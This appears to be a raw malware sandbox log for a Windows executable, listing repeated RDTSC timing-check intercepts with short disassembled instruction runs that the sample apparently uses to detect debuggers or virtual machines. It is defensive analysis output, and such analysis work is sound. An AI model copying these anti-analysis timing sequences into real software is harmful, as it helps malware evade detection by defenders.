Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC42E second address: 4FC43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F759D5FDE48h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB38F second address: 4FB3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F759C763296h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB3A2 second address: 4FB3A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB3A8 second address: 4FB3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB3AE second address: 4FB3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB3B4 second address: 4FB3B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50181A second address: 50181E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50181E second address: 501830 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F759C76329Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5014D0 second address: 5014D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5014D4 second address: 5014DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5014DA second address: 5014DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5014DF second address: 501501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F759C7632A1h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F759C7632A0h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5069D4 second address: 5069DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 508A71 second address: 508A7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 508A7B second address: 508A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 508A81 second address: 508A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50C038 second address: 50C040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50C040 second address: 50C046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50BACC second address: 50BADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F759D5FDE46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50BADA second address: 50BAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50BAE0 second address: 50BAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F759D5FDE46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 50BAF8 second address: 50BB00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5118B4 second address: 5118CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE54h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 511B48 second address: 511B51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 511B51 second address: 511B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BBE51 second address: 4BBE57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BBE57 second address: 4BBE5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 517D8D second address: 517D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 517D91 second address: 517DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE4Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5172EA second address: 5172F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F759C763296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5172F4 second address: 517301 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 517301 second address: 51730E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F759C76329Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5174AA second address: 5174C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F759D5FDE46h 0x0000000a jmp 00007F759D5FDE4Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5174C2 second address: 5174C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5174C6 second address: 5174CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 517633 second address: 517646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F759C76329Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 517646 second address: 51764D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51764D second address: 51765A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F759C763296h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51765A second address: 517664 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F759D5FDE46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5177A0 second address: 5177D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A6h 0x00000007 jmp 00007F759C7632A9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5177D6 second address: 5177E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push esi 0x00000008 jno 00007F759D5FDE46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 517974 second address: 517979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A901 second address: 51A912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F759D5FDE4Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A912 second address: 51A918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A918 second address: 51A91C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A91C second address: 51A929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A929 second address: 51A92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A92F second address: 51A956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F759C76329Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A956 second address: 51A95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A95A second address: 51A968 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A968 second address: 51A96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 51A96C second address: 51A970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 520C60 second address: 520C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F759D5FDE46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 520C6A second address: 520C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 520C6E second address: 520C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 520E08 second address: 520E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F759C763296h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5214E0 second address: 5214FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE56h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5214FB second address: 521515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F759C7632A4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 521FC5 second address: 521FD9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F759D5FDE46h 0x00000008 jc 00007F759D5FDE46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 521FD9 second address: 521FE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 521FE3 second address: 521FE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 521FE7 second address: 522005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F759C7632A2h 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 522005 second address: 522013 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52262B second address: 52264D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F759C7632A1h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F759C76329Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52264D second address: 522659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F759D5FDE48h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5299C8 second address: 5299CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DD1B second address: 52DD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DD21 second address: 52DD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C76329Fh 0x00000009 popad 0x0000000a jp 00007F759C763298h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DD3D second address: 52DD6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE57h 0x00000007 push ebx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F759D5FDE4Ch 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DD6E second address: 52DD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DD72 second address: 52DDA9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F759D5FDE46h 0x00000008 jmp 00007F759D5FDE53h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F759D5FDE56h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DDA9 second address: 52DDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DDAD second address: 52DDB7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52CDAB second address: 52CDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F759C7632A0h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F759C7632A5h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F759C76329Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52CDEC second address: 52CDFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52CF83 second address: 52CF8F instructions: 0x00000000 rdtsc 0x00000002 js 00007F759C76329Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52D3FD second address: 52D404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52D404 second address: 52D423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C7632A3h 0x00000009 pop ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52D6D1 second address: 52D6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52D6D7 second address: 52D6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52D6DD second address: 52D700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F759D5FDE56h 0x0000000a jbe 00007F759D5FDE4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52D9FA second address: 52DA04 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DA04 second address: 52DA0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 52DA0A second address: 52DA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 535982 second address: 535986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 535E31 second address: 535E37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 536384 second address: 5363D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F759D5FDE56h 0x00000008 jmp 00007F759D5FDE54h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 je 00007F759D5FDE4Ch 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jc 00007F759D5FDE69h 0x00000020 push eax 0x00000021 push edx 0x00000022 jg 00007F759D5FDE46h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 5367F9 second address: 536813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759C7632A4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 478CA9 second address: 478CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE51h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F759D5FDE4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F759D5FDE46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 478CD4 second address: 478CF6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F759C7632A9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 478CF6 second address: 478CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 53E72E second address: 53E733 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B791 second address: 54B79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F759D5FDE46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B79B second address: 54B7CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F759C76329Bh 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jg 00007F759C763298h 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F759C763296h 0x0000001b jmp 00007F759C76329Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B7CD second address: 54B7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B386 second address: 54B38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 54B38A second address: 54B3AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F759D5FDE57h 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F759D5FDE46h 0x00000013 rdtsc
